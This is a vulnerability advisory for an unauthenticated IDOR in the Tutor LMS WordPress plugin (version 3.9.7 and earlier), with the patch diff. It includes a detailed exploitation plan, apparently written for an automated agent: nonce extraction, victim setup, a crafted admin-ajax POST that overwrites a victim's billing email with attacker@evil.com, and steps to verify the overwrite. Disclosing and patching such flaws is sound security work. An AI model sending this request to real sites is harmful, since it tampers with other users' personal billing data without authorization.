Tutor LMS <= 3.9.7 - Missing Authorization to Unauthenticated Arbitrary Billing Profile Overwrite via 'order_id' Parameter
Description
The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to an Insecure Direct Object Reference in all versions up to, and including, 3.9.7. This is due to missing authentication and authorization checks in the `pay_incomplete_order()` function. The function accepts an attacker-controlled `order_id` parameter and uses it to look up order data, then writes billing fields to the order owner's profile (`$order_data->user_id`) without verifying the requester's identity or ownership. Because the Tutor nonce (`_tutor_nonce`) is exposed on public frontend pages, this makes it possible for unauthenticated attackers to overwrite the billing profile (name, email, phone, address) of any user who has an incomplete manual order, by sending a crafted POST request with a guessed or enumerated `order_id`.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.9.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-3360 - Tutor LMS Billing Profile Overwrite ## 1. Vulnerability Summary The **Tutor LMS** plugin (versions <= 3.9.7) contains an Insecure Direct Object Reference (IDOR) vulnerability in the `pay_incomplete_order()` function. This function is intended to allow u…
Show full research plan
Exploitation Research Plan: CVE-2026-3360 - Tutor LMS Billing Profile Overwrite
1. Vulnerability Summary
The Tutor LMS plugin (versions <= 3.9.7) contains an Insecure Direct Object Reference (IDOR) vulnerability in the pay_incomplete_order() function. This function is intended to allow users to complete pending manual orders. However, it lacks authentication and authorization checks, allowing any requester (including unauthenticated attackers) to provide an arbitrary order_id.
The function retrieves the order data associated with the order_id, identifies the owner of that order (user_id), and then updates that specific user's billing profile metadata using values provided in the request. By enumerating order_id values, an attacker can overwrite the billing information (name, email, phone, address) of any user who has a pending manual order.
2. Attack Vector Analysis
- Endpoint:
admin-ajax.php(typically used by Tutor for frontend actions). - Action:
tutor_pay_incomplete_order(inferred from function namepay_incomplete_order). - Vulnerable Parameter:
order_id. - Payload Parameters: Billing fields such as
tutor_billing_first_name,tutor_billing_last_name,tutor_billing_email,tutor_billing_phone, etc. - Nonce: Requires
_tutor_nonce. - Authentication: None (available to unauthenticated users via
wp_ajax_nopriv_). - Precondition: A victim user must have an "incomplete" manual order in the system.
3. Code Flow (Inferred)
- Entry Point: The request hits
admin-ajax.phpwithaction=tutor_pay_incomplete_order. - Hook:
add_action('wp_ajax_nopriv_tutor_pay_incomplete_order', 'pay_incomplete_order'). - Lookup: The function calls something like
tutor_utils()->get_order($order_id)to fetch order details. - Identification: It extracts
$user_id = $order_data->user_id. - Sink: It iterates through
$_POSTbilling fields and callsupdate_user_meta($user_id, ...)without verifying if the current requester is either the order owner or an administrator.
4. Nonce Acquisition Strategy
Tutor LMS localizes its configuration and security nonces into a global JavaScript object available on the frontend.
- Identify Trigger: The
_tutor_nonceis generally included on any page where Tutor LMS scripts are enqueued (e.g., the Course Archive page or a single course page). - Navigate: Use
browser_navigateto the homepage or a course page. - Extract Nonce: Use
browser_evalto extract the nonce from thetutor_get_confobject.- JS Variable:
window.tutor_get_conf?._tutor_nonce
- JS Variable:
- Confirmation: If the above fails, check for localized data in
tutor_localize_data.
5. Test Data Setup
To demonstrate the exploit, we must first create a victim user and an incomplete order.
- Create Victim User:
wp user create victim victim@example.com --role=subscriber --user_pass=password123 - Create Incomplete Order:
Manual orders in Tutor LMS are stored in the{$wpdb->prefix}tutor_orderstable (or similar).# Create an order via SQL to ensure it is 'pending'/'incomplete' # Order status 'pending' is typical for manual payments wp db query "INSERT INTO wp_tutor_orders (user_id, order_status, total_amount, created_at) VALUES ((SELECT ID FROM wp_users WHERE user_login='victim'), 'pending', 100.00, NOW());" # Note the generated order_id - Verify Initial State:
wp user meta get victim _tutor_billing_email
6. Exploitation Strategy
We will use the http_request tool to send a crafted POST request to admin-ajax.php.
- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=tutor_pay_incomplete_order &_tutor_nonce=[EXTRACTED_NONCE] &order_id=[VICTIM_ORDER_ID] &tutor_billing_first_name=Hacked &tutor_billing_last_name=Account &tutor_billing_email=attacker@evil.com &tutor_billing_phone=555-000-666 &tutor_billing_address_1=123 Malicious Way
7. Expected Results
- HTTP Response: Should return a successful JSON response (e.g.,
{"success":true}) or a redirect to a "thank you" page. - Side Effect: The victim user's metadata in the
wp_usermetatable will be updated with the attacker-supplied values.
8. Verification Steps
After the exploit, use WP-CLI to verify the metadata overwrite:
# Check if the victim's billing email was changed
wp user meta get victim _tutor_billing_email
# Check first and last name metadata
wp user meta get victim _tutor_billing_first_name
wp user meta get victim _tutor_billing_last_name
9. Alternative Approaches
If the admin-ajax.php action is not tutor_pay_incomplete_order:
- Search Source for Hook: Use
grep -r "pay_incomplete_order" .to find the exactadd_actioncall. - Direct Post: If it's not an AJAX action, the function might be hooked to
template_redirectorinit, checking for a specific POST parameter liketutor_action=pay_incomplete_order. In this case, send the POST request to the homepage with the required parameters. - Field Naming: If
tutor_billing_keys don't work, check the source for how the function extracts fields from$_POST. It might use a flat structure or a nested array likebilling_info[email].
Summary
Tutor LMS <= 3.9.7 is vulnerable to an Insecure Direct Object Reference (IDOR) due to missing authentication and authorization checks in the pay_incomplete_order() function. An unauthenticated attacker can use a publicly available nonce and an enumerated order_id to overwrite the billing profile metadata (name, email, phone, address) of any user associated with an incomplete manual order.
Security Fix
@@ -100,6 +100,10 @@ public function pay_incomplete_order() { tutor_utils()->checking_nonce(); $order_id = (int) tutor_utils()->input_post( 'order_id' ); $order_data = tutor_utils()->get_order( $order_id ); + + if ( ! is_user_logged_in() || (int) $order_data->user_id !== get_current_user_id() ) { + tr_die( __( 'Permission denied', 'tutor' ) ); + } + if ( $order_data ) {
Exploit Outline
1. Extract the '_tutor_nonce' from the frontend of the site (e.g., from the 'tutor_get_conf' global JavaScript object found on course pages). 2. Identify or enumerate a target 'order_id' belonging to a user with an incomplete manual payment order. 3. Send an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'tutor_pay_incomplete_order'. 4. Include the 'order_id', the extracted nonce, and various billing parameters (e.g., 'tutor_billing_email', 'tutor_billing_first_name') in the request body. 5. The function will retrieve the user ID associated with the order and update that user's profile metadata using the attacker-supplied values without verifying ownership or identity.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.